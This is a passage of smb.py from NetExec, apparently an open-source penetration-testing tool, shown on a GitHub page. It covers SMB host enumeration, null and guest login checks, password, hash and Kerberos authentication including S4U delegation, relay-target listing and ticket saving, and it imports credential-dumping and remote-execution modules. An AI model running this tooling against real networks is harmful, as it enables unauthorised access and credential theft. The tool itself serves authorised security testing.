-
Notifications
You must be signed in to change notification settings - Fork 731
Expand file tree
/
Copy pathsmb.py
More file actions
executable file
·2576 lines (2289 loc) · 114 KB
/
Copy pathsmb.py
File metadata and controls
executable file
·2576 lines (2289 loc) · 114 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import ntpath
import binascii
import os
import re
import struct
import ipaddress
from Cryptodome.Hash import MD4
from textwrap import dedent
from impacket.smbconnection import SMBConnection, SessionError
from impacket.smb import SMB_DIALECT
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
from impacket.examples.secretsdump import (
RemoteOperations,
SAMHashes,
LSASecrets,
NTDSHashes,
)
from impacket.examples.regsecrets import (
RemoteOperations as RegSecretsRemoteOperations,
SAMHashes as RegSecretsSAMHashes,
LSASecrets as RegSecretsLSASecrets
)
from impacket.nmb import NetBIOSError, NetBIOSTimeout
from impacket.dcerpc.v5 import lsat, lsad, scmr, rrp, srvs, wkst
from impacket.dcerpc.v5.srvs import STYPE_DISKTREE, STYPE_MASK
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.krb5.ccache import CCache
from impacket.krb5.kerberosv5 import SessionKeyDecryptionError, getKerberosTGT, getKerberosTGS
from impacket.krb5.types import KerberosException, Principal
from impacket.krb5 import constants
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom.wmi import CLSID_WbemLevel1Login, IID_IWbemLevel1Login, IWbemLevel1Login
from impacket.smb3structs import (
FILE_ADD_FILE,
FILE_ADD_SUBDIRECTORY,
FILE_DIRECTORY_FILE,
FILE_OPEN,
FILE_SHARE_DELETE,
FILE_SHARE_READ,
FILE_SHARE_WRITE,
FILE_SYNCHRONOUS_IO_NONALERT,
GENERIC_WRITE,
SMB2_0_IOCTL_IS_FSCTL,
WRITE_DAC,
WRITE_OWNER,
)
from impacket.dcerpc.v5 import tsts as TSTS
from nxc.config import process_secret, process_secret_dump, host_info_colors, check_guest_account
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
from nxc.helpers.misc import gen_random_string, validate_ntlm
from nxc.logger import NXCAdapter
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
from nxc.protocols.smb.wmiexec import WMIEXEC
from nxc.protocols.smb.atexec import TSCH_EXEC
from nxc.protocols.smb.smbexec import SMBEXEC
from nxc.protocols.smb.mmcexec import MMCEXEC
from nxc.protocols.smb.smbspider import SMBSpider
from nxc.protocols.smb.passpol import PassPolDump
from nxc.protocols.smb.samruser import UserSamrDump
from nxc.protocols.smb.samrfunc import SamrFunc
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
from nxc.helpers.logger import highlight
from nxc.helpers.bloodhound import add_user_bh
from nxc.helpers.rpc import NXCRPCConnection
from nxc.helpers.powershell import create_ps_command
from nxc.helpers.misc import detect_if_ip
from nxc.protocols.ldap.resolution import LDAPResolution
from dploot.triage.vaults import VaultsTriage
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
from dploot.triage.credentials import CredentialsTriage
from dploot.triage.cng import CngTriage
from dploot.lib.target import Target
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
from time import time, ctime, sleep
from traceback import format_exc
from termcolor import colored
import contextlib
smb_share_name = gen_random_string(5).upper()
smb_error_status = [
"STATUS_ACCOUNT_DISABLED",
"STATUS_ACCOUNT_EXPIRED",
"STATUS_ACCOUNT_RESTRICTION",
"STATUS_INVALID_LOGON_HOURS",
"STATUS_INVALID_WORKSTATION",
"STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT",
"STATUS_LOGON_TYPE_NOT_GRANTED",
"STATUS_PASSWORD_EXPIRED",
"STATUS_PASSWORD_MUST_CHANGE",
"STATUS_ACCESS_DENIED",
"STATUS_NO_SUCH_FILE",
"KDC_ERR_CLIENT_REVOKED",
"KDC_ERR_PREAUTH_FAILED",
]
def get_error_string(exception):
if hasattr(exception, "getErrorString"):
try:
es = exception.getErrorString()
except KeyError:
return f"Could not get nt error code {exception.getErrorCode()} from impacket: {exception}"
if type(es) is tuple:
return es[0]
else:
return es
else:
return str(exception)
class smb(connection):
def __init__(self, args, db, host):
self.domain = None
self.server_os = None
self.server_os_major = None
self.server_os_minor = None
self.server_os_build = None
self.os_arch = 0
self.hash = None
self.lmhash = ""
self.nthash = ""
self.remote_ops = None
self.bootkey = None
self.smbv1 = None # Check if SMBv1 is supported
self.smbv3 = None # Check if SMBv3 is supported
self.is_timed_out = False
self.signing = False
self.smb_share_name = smb_share_name
self.pvkbytes = None
self.no_da = None
self.no_ntlm = False
self.null_auth = False
self.protocol = "SMB"
self.is_guest = None
self.isdc = None
self.tgt = None
self.tgs = None
connection.__init__(self, args, db, host)
def proto_logger(self):
self.logger = NXCAdapter(
extra={
"protocol": "SMB",
"host": self.host,
"port": self.port,
"hostname": self.hostname,
}
)
def get_os_arch(self):
try:
string_binding = rf"ncacn_ip_tcp:{self.host}[135]"
transport = DCERPCTransportFactory(string_binding)
transport.set_connect_timeout(5)
dce = transport.get_dce_rpc()
if self.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
try:
dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0"))
except DCERPCException as e:
if str(e).find("syntaxes_not_supported") >= 0:
dce.disconnect()
return 32
else:
dce.disconnect()
return 64
except Exception as e:
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
return 0
def enum_host_info(self):
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
try:
self.conn.login("", "")
self.null_auth = True
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
except Exception as e:
self.null_auth = False
if "STATUS_NOT_SUPPORTED" in str(e):
# no ntlm supported
self.no_ntlm = True
self.logger.debug("NTLM not supported")
if check_guest_account and not self.no_ntlm:
try:
self.conn.login("Guest", "")
self.logger.debug("Guest authentication successful")
self.is_guest = True
except Exception:
self.is_guest = False
# self.domain is the attribute we authenticate with
# self.targetDomain is the attribute which gets displayed as host domain
if not self.no_ntlm:
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
dns_hostname = self.conn.getServerDNSHostName().upper()
if dns_hostname and "." in dns_hostname:
self.hostname = dns_hostname.split(".")[0]
elif dns_hostname:
self.hostname = dns_hostname
else:
self.hostname = self.conn.getServerName()
self.targetDomain = self.conn.getServerDNSDomainName()
if not self.targetDomain: # Not sure if that can even happen but now we are safe
self.targetDomain = self.hostname
else:
try:
self.is_host_dc()
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
if self.isdc and detect_if_ip(self.host):
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
self.targetDomain = self.domain
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
else:
# Check if the host is a valid IP address, if not we parse the FQDN in the Exception
import socket
socket.inet_aton(self.host)
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
self.hostname = self.host
self.targetDomain = self.host
except OSError:
if self.host.count(".") >= 1:
self.hostname = self.host.split(".")[0]
self.targetDomain = ".".join(self.host.split(".")[1:])
else:
self.hostname = self.host
self.targetDomain = self.host
except Exception as e:
self.logger.debug(f"Error getting hostname from LDAP: {e}")
self.hostname = self.host
self.targetDomain = self.host
if self.args.domain:
self.domain = self.args.domain
elif self.args.use_kcache: # Fixing domain trust, just pull the auth domain out of the ticket
self.domain = CCache.parseFile()[0]
else:
self.domain = self.targetDomain
if self.args.local_auth:
self.domain = self.hostname
self.targetDomain = self.hostname
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
# Also only on Windows we should get an OS arch as for that we would need MSRPC
try:
self.server_os = self.conn.getServerOS()
self.server_os_major = self.conn.getServerOSMajor()
self.server_os_minor = self.conn.getServerOSMinor()
self.server_os_build = self.conn.getServerOSBuild()
except KeyError:
self.logger.debug("Error getting server information...")
# Handle cases where server_os is returned as bytes, such as when accidentally scanning a machine running Responder
if isinstance(self.server_os.lower(), bytes):
self.server_os = self.server_os.decode("utf-8")
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix - Samba"
elif self.server_os_build == 0 and self.os_arch == 0:
self.server_os = "Unix"
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
self.logger.extra["hostname"] = self.hostname
try:
self.signing = self._is_signing_required()
except Exception as e:
self.logger.debug(e)
self.os_arch = self.get_os_arch()
try:
# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
self.conn.logoff()
except Exception as e:
self.logger.debug(f"Error logging off system: {e}")
try:
self.db.add_host(
self.host,
self.hostname,
self.domain,
self.server_os,
self.smbv1,
self.signing,
)
except Exception as e:
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
# DCOM connection with kerberos needed
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
result = self.resolver(self.domain)
self.kdcHost = result["host"] if result else None
self.logger.info(f"Resolved domain: {self.domain} with dns, kdcHost: {self.kdcHost}")
def print_host_info(self):
signing = colored(f"signing:{self.signing}", host_info_colors[0], attrs=["bold"]) if self.signing else colored(f"signing:{self.signing}", host_info_colors[1], attrs=["bold"])
smbv1 = colored(f"SMBv1:{self.smbv1}", host_info_colors[2], attrs=["bold"]) if self.smbv1 else colored(f"SMBv1:{self.smbv1}", host_info_colors[3], attrs=["bold"])
ntlm = colored(f" (NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
null_auth = colored(f" (Null Auth:{self.null_auth})", host_info_colors[2], attrs=["bold"]) if self.null_auth else ""
guest = colored(f" (Guest Auth:{self.is_guest})", host_info_colors[1], attrs=["bold"]) if self.is_guest else ""
self.logger.display(f"{self.server_os}{f' x{self.os_arch}' if self.os_arch else ''} (name:{self.hostname}) (domain:{self.targetDomain}) ({signing}) ({smbv1}){ntlm}{null_auth}{guest}")
if self.args.generate_hosts_file or self.args.generate_krb5_file:
if self.isdc is None:
self.is_host_dc()
if self.args.generate_hosts_file:
with open(self.args.generate_hosts_file, "a+") as host_file:
dc_part = f" {self.targetDomain}" if self.isdc else ""
host_file.write(f"{self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}\n")
self.logger.debug(f"Line added to {self.args.generate_hosts_file} {self.host} {self.hostname}.{self.targetDomain}{dc_part} {self.hostname}")
elif self.args.generate_krb5_file and self.isdc:
with open(self.args.generate_krb5_file, "w+") as host_file:
data = dedent(f"""
[libdefaults]
dns_lookup_kdc = false
dns_lookup_realm = false
default_realm = {self.domain.upper()}
[realms]
{self.domain.upper()} = {{
kdc = {self.hostname.lower()}.{self.domain}
admin_server = {self.hostname.lower()}.{self.domain}
default_domain = {self.domain}
}}
[domain_realm]
.{self.domain} = {self.domain.upper()}
{self.domain} = {self.domain.upper()}
""").strip()
host_file.write(data)
self.logger.debug(data)
self.logger.success(f"krb5 conf saved to: {self.args.generate_krb5_file}")
self.logger.success(f"Run the following command to use the conf file: export KRB5_CONFIG={self.args.generate_krb5_file}")
return self.host, self.hostname, self.targetDomain
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
self.logger.debug(f"KDC set to: {kdcHost}")
# Re-connect since we logged off
self.create_conn_obj()
lmhash = ""
nthash = ""
try:
self.password = password
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
if not all(s == "" for s in [self.nthash, password, aesKey]):
kerb_pass = next(s for s in [self.nthash, password, aesKey] if s)
else:
kerb_pass = ""
self.logger.debug(f"Attempting to do Kerberos Login with useCache: {useCache}")
tgs = None
if self.args.delegate:
kerb_pass = ""
self.username = self.args.delegate
serverName = Principal(self.args.spn if self.args.spn else f"cifs/{self.remoteName}", type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, sk = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy, u2u=self.args.u2u)
self.logger.debug(f"TGS obtained for {self.args.delegate} for {serverName}")
spn = f"cifs/{self.remoteName}"
if self.args.spn:
self.logger.debug(f"Swapping SPN to {spn} for TGS")
tgs = kerberos_altservice(tgs, spn)
if self.args.generate_st:
self.save_st(tgs, sk, spn if self.args.spn else None)
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
if self.args.generate_st:
try:
creds = self.conn.getCredentials()
self.tgt, self.tgs = creds[6], creds[7]
except Exception as e:
self.logger.fail(f"Could not retrieve credentials for --generate-st: {e}")
return False
if "Unix" not in self.server_os:
self.check_if_admin()
if username == "":
self.username = self.conn.getCredentials()[0]
elif not self.args.delegate:
self.username = username
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user}"
if self.args.spn:
u2u_str = "+U2U" if self.args.u2u else ""
auth_user = username if username else "ccache"
used_ccache = f" through S4U{u2u_str} with {auth_user} (w/ SPN {self.args.spn})"
out = f"{self.domain}\\{self.username}{used_ccache} {self.mark_pwned()}"
self.logger.success(out)
if not self.args.local_auth and self.username != "" and not self.args.delegate:
add_user_bh(self.username, domain, self.logger, self.config)
if self.admin_privs:
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
return True
except SessionKeyDecryptionError:
# success for now, since it's a vulnerability - previously was an error
self.logger.success(
f"{domain}\\{self.username} account vulnerable to asreproast attack",
color="yellow",
)
return False
except (FileNotFoundError, KerberosException) as e:
self.logger.fail(f"CCache Error: {e}")
return False
except OSError as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {e}")
return False
except SessionError as e:
error, desc = e.getErrorString()
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
self.logger.fail(
f"{domain}\\{self.username}{used_ccache} {error} {f'({desc})' if self.args.verbose else ''}",
color="magenta" if error in smb_error_status else "red",
)
if error not in smb_error_status:
self.inc_failed_login(username)
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
used_ccache = " from ccache" if useCache else f":{process_secret(kerb_pass)}"
if self.args.delegate:
used_ccache = f" through S4U with {username}"
desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e)
self.logger.fail(f"{domain}\\{self.username}{used_ccache} {desc}")
return False
def plaintext_login(self, domain, username, password):
# Re-connect since we logged off
self.create_conn_obj()
try:
self.password = password
self.username = username
self.domain = domain
self.conn.login(self.username, self.password, domain)
self.logger.debug(f"Logged in with password to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
# Only do database/bloodhound stuff if we don't have guest/null auth
valid_auth = not self.is_guest and self.username
if valid_auth:
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
self.db.add_credential("plaintext", domain, self.username, self.password)
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
if self.admin_privs and valid_auth:
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth and valid_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}")
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f'{domain}\\{self.username}:{process_secret(self.password)} {error} {f"({desc})" if self.args.verbose else ""}',
color="magenta" if error in smb_error_status else "red",
)
if error in ["STATUS_PASSWORD_MUST_CHANGE", "STATUS_PASSWORD_EXPIRED", "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"] and self.args.module == ["change-password"]:
return True
if error not in smb_error_status:
self.inc_failed_login(username)
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e)
self.logger.fail(f"{domain}\\{self.username}:{process_secret(self.password)} {desc}")
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def hash_login(self, domain, username, ntlm_hash):
# Re-connect since we logged off
self.create_conn_obj()
lmhash = ""
nthash = ""
try:
self.domain = domain
self.username = username
# This checks to see if we didn't provide the LM Hash
if ntlm_hash.find(":") != -1:
lmhash, nthash = ntlm_hash.split(":")
self.hash = nthash
else:
nthash = ntlm_hash
self.hash = ntlm_hash
if lmhash:
self.lmhash = lmhash
if nthash:
self.nthash = nthash
self.conn.login(self.username, "", domain, lmhash, nthash)
self.logger.debug(f"Logged in with hash to SMB with {domain}/{self.username}")
self.is_guest = bool(self.conn.isGuestSession())
self.logger.debug(f"{self.is_guest=}")
if "Unix" not in self.server_os:
self.check_if_admin()
# Only do database/bloodhound stuff if we don't have guest
valid_auth = not self.is_guest and self.username and self.hash
if valid_auth:
self.db.add_credential("hash", domain, self.username, self.hash)
user_id = self.db.get_credential("hash", domain, self.username, self.hash)
host_id = self.db.get_hosts(self.host)[0].id
self.db.add_loggedin_relation(user_id, host_id)
if self.admin_privs and valid_auth:
self.db.add_admin_user("hash", domain, self.username, nthash, self.host, user_id=user_id)
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
if not self.args.local_auth and valid_auth:
add_user_bh(self.username, self.domain, self.logger, self.config)
self.logger.success(f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}")
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
if self.args.continue_on_success and self.signing:
with contextlib.suppress(Exception):
self.conn.logoff()
return True
except SessionError as e:
error, desc = e.getErrorString()
self.logger.fail(
f"{domain}\\{self.username}:{process_secret(self.hash)} {error} {f'({desc})' if self.args.verbose else ''}",
color="magenta" if error in smb_error_status else "red",
)
if error in ["STATUS_PASSWORD_MUST_CHANGE", "STATUS_PASSWORD_EXPIRED", "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT"] and self.args.module == ["change-password"]:
return True
if error not in smb_error_status:
self.inc_failed_login(self.username)
return False
except (ConnectionResetError, NetBIOSTimeout, NetBIOSError) as e:
desc = e.getErrorString() if hasattr(e, "getErrorString") else str(e)
self.logger.fail(f"{domain}\\{self.username}:{process_secret(self.password)} {desc}")
return False
except BrokenPipeError:
self.logger.fail("Broken Pipe Error while attempting to login")
return False
def _is_signing_required(self):
"""Determine whether the remote server REQUIRES SMB signing.
For SMB 3.0+ we read the real negotiated ``ServerSecurityMode`` rather
than impacket's ``RequireSigning`` flag. impacket force-sets
``RequireSigning`` to True for any SMB 3.1.1 negotiation regardless of
the server's actual policy (the 3.1.1 session setup is always signed).
Relying on that flag produced false negatives for relay-target
discovery: 3.1.1 hosts that merely *enable* (but do not *require*)
signing were reported as ``signing:True`` and silently dropped from
``--gen-relay-list`` output.
For SMBv1 and SMB 2.0.2/2.1, ``isSigningRequired()`` is accurate: it
reads ``RequireSigning``, which impacket only force-sets at 3.1.1.
"""
if not self.smbv1 and self.conn._SMBConnection._Connection["Dialect"] >= SMB2_DIALECT_30:
return bool(self.conn._SMBConnection._Connection["ServerSecurityMode"] & SMB2_NEGOTIATE_SIGNING_REQUIRED)
return self.conn.isSigningRequired()
def create_smbv1_conn(self, check=False):
self.logger.info(f"Creating SMBv1 connection to {self.host}")
try:
conn = SMBConnection(
self.remoteName,
self.host,
None,
self.port,
preferredDialect=SMB_DIALECT,
timeout=self.args.smb_timeout,
)
self.smbv1 = True
if not check:
self.conn = conn
except OSError as e:
if "Connection reset by peer" in str(e):
self.logger.info(f"SMBv1 might be disabled on {self.host}")
elif "timed out" in str(e):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv1 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
except NetBIOSError:
self.logger.info(f"SMBv1 disabled on {self.host}")
self.smbv1 = False
return False
except (Exception, NetBIOSTimeout) as e:
self.logger.info(f"Error creating SMBv1 connection to {self.host}: {e}")
self.smbv1 = False
return False
return True
def create_smbv3_conn(self):
self.logger.info(f"Creating SMBv3 connection to {self.host}")
try:
self.conn = SMBConnection(
self.remoteName,
self.host,
None,
self.port,
timeout=self.args.smb_timeout,
)
self.smbv3 = True
except (Exception, NetBIOSTimeout, OSError) as e:
if "timed out" in str(e):
self.is_timed_out = True
self.logger.debug(f"Timeout creating SMBv3 connection to {self.host}")
else:
self.logger.info(f"Error creating SMBv3 connection to {self.host}: {e}")
self.smbv3 = False
return False
return True
def create_conn_obj(self, no_smbv1=False):
"""
Tries to create a connection object to the target host.
On first try, it will try to create a SMBv1 connection to be able to get the plaintext server OS version if available.
On further tries, it will remember which SMB version is supported and create a connection object accordingly, preferably SMBv3.
:param no_smbv1: If True, it will not try to create a SMBv1 connection
"""
# Initial negotiation
if self.smbv1 is None and not no_smbv1 and not self.args.no_smbv1:
if self.create_smbv1_conn():
return True
elif not self.is_timed_out:
# Fallback if SMBv1 fails
return self.create_smbv3_conn()
else:
return False
elif self.smbv3 is not False:
if not self.create_smbv3_conn():
# Fallback if SMBv3 fails
return self.create_smbv1_conn()
else:
return True
else:
return self.create_smbv1_conn()
def check_if_admin(self):
if self.args.no_admin_check:
return
self.logger.debug(f"Checking if user is admin on {self.host}")
try:
dce = NXCRPCConnection(self).connect(r"\svcctl", scmr.MSRPC_UUID_SCMR)
except Exception:
self.admin_privs = False
return
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
scmrobj = scmr.hROpenSCManagerW(dce, f"{self.host}\x00", "ServicesActive\x00", 0xF003F)
scmr.hREnumServicesStatusW(dce, scmrobj["lpScHandle"])
self.logger.debug(f"User is admin on {self.host}!")
self.admin_privs = True
except scmr.DCERPCException:
self.admin_privs = False
except Exception as e:
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
self.admin_privs = False
def gen_relay_list(self):
if self.server_os.lower().find("windows") != -1 and self.signing is False:
with sem, open(self.args.gen_relay_list, "a+") as relay_list:
if self.host not in relay_list.read():
relay_list.write(self.host + "\n")
def save_st(self, st, sk, new_spn=None):
ccache = CCache()
tgs_rep = st["KDC_REP"]
session_key = sk
try:
ccache.fromTGS(tgs_rep, session_key, session_key)
except SessionKeyDecryptionError as e:
self.logger.fail(f"Failed to decrypt session key: {e}")
return
if new_spn:
# there is a new principal, likely from tampering the SPN during S4U2proxy
realm = get_realm_from_ticket(st)
principal = Principal(f"{new_spn}@{realm}", type=constants.PrincipalNameType.NT_SRV_INST.value)
self.logger.debug(f"Using principal {principal} for ST")
ccache.credentials[0]["server"].fromPrincipal(principal)
st_file = f"{self.args.generate_st.removesuffix('.ccache')}.ccache"
ccache.saveFile(st_file)
self.logger.success(f"Saved ST to {st_file}")
def generate_tgt(self):
self.logger.info(f"Attempting to get TGT for {self.username}@{self.domain}")
userName = Principal(self.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=userName,
password=self.password,
domain=self.domain.upper(),
lmhash=binascii.unhexlify(self.lmhash) if self.lmhash else "",
nthash=binascii.unhexlify(self.nthash) if self.nthash else "",
aesKey=self.aesKey,
kdcHost=self.kdcHost
)
self.logger.debug(f"TGT successfully obtained for {self.username}@{self.domain}")
self.logger.debug(f"Using cipher: {cipher}")
ccache = CCache()
ccache.fromTGT(tgt, oldSessionKey, sessionKey)
tgt_file = f"{self.args.generate_tgt.removesuffix('.ccache')}.ccache"
ccache.saveFile(tgt_file)
self.logger.success(f"TGT saved to: {tgt_file}")
self.logger.success(f"Run the following command to use the TGT: export KRB5CCNAME={tgt_file}")
except Exception as e:
self.logger.fail(f"Failed to get TGT: {e}")
def generate_st(self):
